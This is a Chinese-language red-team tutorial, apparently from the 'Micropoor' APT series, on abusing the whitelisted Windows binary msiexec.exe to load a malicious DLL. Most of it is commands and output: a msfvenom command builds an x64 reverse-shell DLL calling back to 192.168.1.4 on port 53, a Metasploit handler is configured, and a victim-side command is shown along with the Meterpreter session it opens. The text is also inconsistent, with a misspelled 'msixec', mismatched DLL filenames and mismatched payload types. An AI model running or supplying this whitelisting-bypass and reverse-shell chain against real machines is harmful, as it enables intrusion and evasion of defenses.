

专注APT攻击与防御

<https://micropoor.blogspot.com/>

注：请多喝点热水或者凉白开，身体特别重要。

本季补充本地DLL加载

Msiexec简介：

Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包 (MSI) ,一般在运行Microsoft Update安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于Windows 2003，Windows 7等。

说明： Msiexec.exe所在路径已被系统添加PATH环境变量中，因此，Msiexec命令可识别。

基于白名单Msiexec.exe配置payload：

注： x64 payload

```
1 msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 -  
f dll > Micropoor_rev_x64_53.dll
```

配置攻击机msf：

注： x64 payload

```
1 msf exploit(multi/handler) > show options  
2  
3 Module options (exploit/multi/handler):  
4  
5 Name Current Setting Required Description  
6 ----  
7  
8  
9 Payload options (windows/x64/meterpreter/reverse_tcp):  
10  
11 Name Current Setting Required Description  
12 ----  
13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,  
14 LHOST 192.168.1.4 yes The listen address (an interface may be specified)  
15 LPORT 53 yes The listen port
```

```

16
17
18 Exploit target:
19
20 Id Name
21 -- ----
22 0 Wildcard Target
23
24
25 msf exploit(multi/handler) > exploit
26
27 [*] Started reverse TCP handler on 192.168.1.4:53
28

```

```

msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
  Name  Current Setting  Required  Description
  ----  -
Payload options (windows/x64/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ----      -
EXITFUNC   process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST      192.168.1.4     yes       The listen address (an interface may be specified)
LPORT      53              yes       The listen port

Exploit target:
  Id  Name
  --  ----
  0   Wildcard Target

msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53

```

靶机执行：

```
1 msixec /y C:\Users\John\Desktop\Micropoor_rev_x64_dll.dll
```

```
C:\Users\John>msixec /y C:\Users\John\Desktop\Micropoor_rev_x64_dll.dll
```

```

1 msf exploit(multi/handler) > exploit
2
3 [*] Started reverse TCP handler on 192.168.1.4:53

```

```
4 [*] Sending stage (206403 bytes) to 192.168.1.5
5 [*] Meterpreter session 26 opened (192.168.1.4:53 ->
192.168.1.5:11543) at 2019-01-20 09:45:51 -0500
6
7 meterpreter > getuid
8 Server username: John-PC\John
9 meterpreter > getpid
10 Current pid: 7672
11 meterpreter >
12
```

```
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (206403 bytes) to 192.168.1.5
[*] Meterpreter session 26 opened (192.168.1.4:53 -> 192.168.1.5:11543) at 2019-01-20 09:45:51 -0500
meterpreter > getuid
Server username: John-PC\John
meterpreter > getpid
Current pid: 7672
meterpreter > █
```

- Micropoor